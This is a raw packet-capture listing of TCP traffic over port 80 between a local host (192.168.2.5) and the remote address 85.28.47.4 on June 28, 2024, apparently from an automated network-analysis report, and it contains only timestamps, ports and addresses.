Jun 28, 2024 13:36:07.604576111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604583979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604607105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604865074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604875088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604885101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604896069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604902029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604907990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604918957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604928017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.604939938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.604974985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.605969906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606019974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606020927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606030941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606069088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606097937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606107950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606117964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606129885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606139898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606158972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606194019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606215954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606225967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606235027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606245995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606256962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606287956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606369972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606379986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606389046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.606411934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.606429100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694466114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694502115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694514036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694576979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694586992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694587946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694602966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694613934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694623947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694675922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694750071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694760084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694771051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694781065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694789886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694827080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694945097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694956064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694967031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694977045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694987059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.694991112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.694998026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695008039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695014000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695018053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695029020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695043087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695066929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695089102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695100069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695108891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695120096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695130110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695131063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695141077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695149899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695153952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695178986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695197105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695234060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695245028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695255041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695265055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695275068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695275068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695286036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695301056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695311069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695312023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695322037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695332050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695333004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695342064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695352077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695358992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695379972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695400953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695559978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695599079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695745945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695758104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695766926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695776939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695785999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695786953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695796967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695806980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695817947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695823908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695827961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695837975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695847988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695858002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695859909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695868015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695878029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695883036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695904016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695921898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.695979118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.695987940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.696029902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.821953058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.826817989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000051022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000072002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000085115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000127077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000137091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000147104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000164986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000170946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000175953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000191927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000233889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000236034 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000243902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000253916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000255108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000267029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000300884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000317097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000338078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000364065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000368118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000380039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000417948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000428915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000427961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000438929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000451088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000464916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000509024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000637054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000648022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000658035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000669003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000679970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000682116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000689983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000700951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000708103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000711918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000721931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000729084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000758886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000760078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000783920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000797033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000807047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.000808954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.000858068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001036882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001060009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001070023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001080036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001084089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001090050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001100063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001110077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001120090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001120090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001130104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001138926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001148939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001157999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001158953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001169920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001178980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001180887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001190901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001198053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001199961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001210928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001219988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001230955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001230955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001250982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001291990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001291990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001455069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001466036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001477003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001487970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001518965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001519918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001595974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001605988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001616001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001627922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001637936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001646042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001646996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001657963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001667023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001667976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001705885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001725912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001737118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001737118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001748085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001758099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001768112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001768112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001784086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001792908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001792908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001805067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001815081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001832008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001844883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001854897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001867056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001873970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001878023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001888990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001897097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001903057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001913071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001914978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001923084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001933098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001943111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001943111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001951933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001961946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001971960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.001981020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.001982927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002003908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002024889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002542973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002552986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002562046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002572060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002582073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002592087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002598047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002602100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002612114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002619982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002621889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002633095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002645016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002645969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002675056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002677917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002685070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002696037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002696037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002706051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002716064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002724886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002731085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002734900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002744913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002758980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002768993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002779007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002780914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002788067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002799034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002800941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002809048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002820015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002830029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002839088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002840996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002851009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002857924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002861977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002872944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.002892017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002911091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.002926111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.003149033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.003160000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.003170013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.003179073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.003201962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.003232002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.090550900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090570927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090581894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090595961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090605021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090615034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090625048 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090634108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090642929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090652943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.090707064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090717077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.090719938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090740919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090750933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090751886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.090761900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090776920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090784073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.090821028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.090953112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090962887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090971947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090981960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.090991020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091001034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091003895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091012001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091021061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091022015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091042995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:08.091049910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091059923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091069937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:08.091069937 CEST	49705	80	192.168.2.5	85.28.47.4
